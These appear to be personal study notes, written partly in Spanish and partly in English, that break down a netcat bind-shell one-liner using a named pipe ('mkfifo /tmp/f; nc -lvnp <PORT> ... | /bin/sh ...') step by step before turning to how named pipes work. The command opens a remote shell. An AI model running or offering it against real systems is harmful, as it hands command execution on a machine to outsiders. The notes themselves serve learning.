named pipe

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  1. El comando mkfifo /tmp/f crea un named pipe (tubería con nombre) en el directorio /tmp y lo llama f.
  2. then starts a netcat listener
  3. connects the input of the listener to the output of the named pipe nc -lvnp <PORT> < /tmp/f
  4. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh | /bin/sh
  5. ending the stderr output stream into stdout, 2>&1
  6. and sending stdout itself into the input of the named pipe, thus completing the circle. /bin/sh >/tmp/f
    Pasted image 20240402184247.png

Aquí te explico paso a paso lo que hace:

Un named pipe funciona como un canal de comunicación unidireccional entre dos procesos. Un proceso puede escribir datos en el named pipe y otro proceso diferente puede leer esos mismos datos.

Algunas características importantes de los named pipes: